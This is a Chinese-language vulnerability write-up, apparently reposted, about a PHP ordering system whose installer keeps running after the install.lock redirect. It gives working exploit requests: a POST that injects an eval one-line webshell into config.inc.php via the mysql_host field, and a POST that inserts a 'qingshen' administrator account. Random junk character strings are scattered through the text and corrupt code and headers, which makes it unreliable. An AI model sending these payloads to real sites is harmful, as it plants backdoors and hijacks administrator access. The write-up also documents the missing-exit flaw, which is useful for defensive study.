问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。7 G- f( o4 b4 w' }
M% V+ r5 ~% p0 o% ? U4 r( ^/ l& Z<?php* v! s# `6 w# Q4 g
if(file_exists("../install.lock"))7 s o4 Q9 b& \1 q4 }
{
1 b8 M5 ?" A5 |: p header("Location: ../");//没有退出
0 O/ b, P7 {9 s0 b- s& C$ z; v+ g}* S- K6 c( ^( ]) d) n9 {1 e- P2 n
C/ g. b1 v' y- ?; t- ^% |//echo 'tst';exit;" b5 J" M: l* T, y' m
require_once("init.php");
. t1 U2 K( W7 O% {2 Wif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
& |& |8 h) b# V2 M7 e{
# C" ?' E) J, |4 R+ z可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。' i! N/ i# e2 `
" m. f; h" Q- E. z1 J" I
1、getshell(很危险)7 O/ w6 w, s. n* h5 p% b; n
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)4 ~- r( {% M0 w" _
{# E6 s& r2 z; l5 H8 x( K" ]
$smarty->assign("step",1);
3 h- E+ j0 B0 M& }6 a$smarty->display("index.html");
8 K! j8 R2 t+ I}elseif($_REQUEST['step']==2)0 Y" {+ L- W* F2 H7 u
{
6 W' t# d, W2 Q2 f# Y' y $mysql_host=trim($_POST['mysql_host']);
& ]/ H$ q. d/ ? $mysql_user=trim($_POST['mysql_user']);5 a+ ]' f d7 z# s# P* Z% z; }
$mysql_pwd=trim($_POST['mysql_pwd']);0 X& \) F" ^ P* Y9 P
$mysql_db=trim($_POST['mysql_db']);
' y4 Z9 g6 L/ S# i/ a$ y $tblpre=trim($_POST['tblpre']);
% v4 c8 ?4 {- _& |0 c $domain==trim($_POST['domain']);
% }0 _# U2 t. W2 y( K z; j% d5 _" b $str="<?php \r\n";
6 ]1 U% P0 T5 Z $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";* [ x- W, ?' L. r3 }: B
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
' J4 |$ M* v$ H& S ^$ F $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
6 O" l( B9 I7 Z& O( d $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
% p9 H' E5 u0 `; Y $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
, b; w$ Y4 @) y( R5 g" Z1 w) j. i. x $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";9 d6 a" X6 n" }% b. z" j1 j
$str.='define("DOMAIN","'.$domain.'");'."\r\n";$ h/ ?% f8 F/ e$ K: v; [, x _
$str.='define("SKINS","default");'."\r\n";' g% ~* @" R! ^' v8 t6 u
$str.='?>';& t! W7 K0 r' ^ p4 B$ x9 U
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件' k6 Q _. V: W: n+ _, X0 }7 @
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
$ ^8 B/ I+ B0 ~7 r; E# I& Y0 ?POST /canting/install/index.php?m=index&step=2 HTTP/1.1
" @3 _" `2 _0 a" ~) V9 O, \Host: 192.168.80.129
$ D4 X# G0 |, i7 G+ [+ N! yUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0# {4 z* V! Q% L1 ?9 V
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.89 [; w9 U- Y3 ?0 A% e
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
& O! T: E7 V9 X/ y& ~Accept-Encoding: gzip, deflate+ m! G$ b$ z- _2 y
Referer: http://192.168.80.129/canting/install/index.php?step=11 S/ S J3 l z, p
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
: K' N" T% ?* x# p/ vContent-Type: application/x-www-form-urlencoded
9 S8 b0 A- r. {$ M1 gContent-Length: 1265 m8 j7 P7 {1 f, V" o4 F
$ S0 m8 h# O3 c: h
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD( t5 z' N( o- F/ O2 }1 X' X: {+ i; h
但是这个方法很危险,将导致网站无法运行。
* ~1 ^! ^3 ` r# J0 C* I, J' i, I @
! _0 I0 h: W- n1 l5 v2、直接添加管理员0 X% s& z# v, t( s6 L+ R6 x
8 @* W: L) ^4 j4 relseif($_REQUEST['step']==5). z, a) ?$ M% y# B0 I
{
# n8 e7 p5 k# o6 Z* Q: B2 I$ X5 _ if($_POST)5 E1 {9 J1 `2 F# r# m% a
{ require_once("../config/config.inc.php");( W' _# F% p0 l- E x
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
5 a. ?0 u# K9 g. t9 ]4 [8 K& V; y: N mysql_select_db(MYSQL_DB,$link);
5 u' M' K! N* K. J# f& F3 ~7 l0 u mysql_query("SET NAMES ".MYSQL_CHARSET );
) E1 c! F$ V- y2 O/ r9 Q mysql_query("SET sql_mode=''");& x: K& s, m4 q0 h' f
3 P3 v$ c, l: D! J" f $adminname=trim($_POST['adminname']);
' X1 l/ o# H$ n2 {- g W $pwd1=trim($_POST['pwd1']);
2 t) N9 ]# m9 {/ i, ^- f $pwd2=trim($_POST['pwd2']);
; V- Y9 c9 n- p. q2 B( N+ I if(empty($adminname))
5 b* p6 o1 \7 t {* |4 m& a+ S" r) \- D- Q' z* |
) \4 {1 g/ ?! @# I$ _ echo "<script>alert('管理员不能为空');history.go(-1);</script>";
8 K/ q0 P3 v/ b- E0 S& A exit();
0 D/ P4 I" H3 E4 b5 s! d }4 y, T0 w6 o+ H7 \& W4 Q0 j
if(($pwd1!=$pwd2) or empty($pwd1))
# C0 K; z' |; q T% X {# r* I+ j2 Z9 r1 m4 z. b( j0 D
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
6 P1 A# j ?: H8 k, d }' ?5 M8 Y% n- j
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
1 y7 v9 X3 J: @, C( o }
/ B% }4 K; p# |6 W! P! u这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
: ]. Y) A. K: A% o: A7 M1 TPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
( `! L: g# Q2 `2 J- xHost: 192.168.80.1293 s2 w- w; q* J
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
1 k' G* F4 P, b; o- C/ c0 n! BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
' i+ A# Z/ ^9 Y7 h7 W& `5 Q. F; LAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
# p2 g4 w; X- @3 NAccept-Encoding: gzip, deflate! s% r2 h* [; E8 t O2 J2 q
Referer: http://www.2cto.com /canting/install/index.php?step=15 M4 ]9 w4 h+ m) C9 g; o
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
$ {( w$ n/ D% l- C2 r+ tContent-Type: application/x-www-form-urlencoded
/ m+ N# g: b6 B' D* c( HContent-Length: 46
1 H$ A+ M. a/ f, j, V2 w ( Y! c! }5 J7 |' g) _; ]
adminname=qingshen&pwd1=qingshen&pwd2=qingshen( U* [ u! t4 E" c; F
|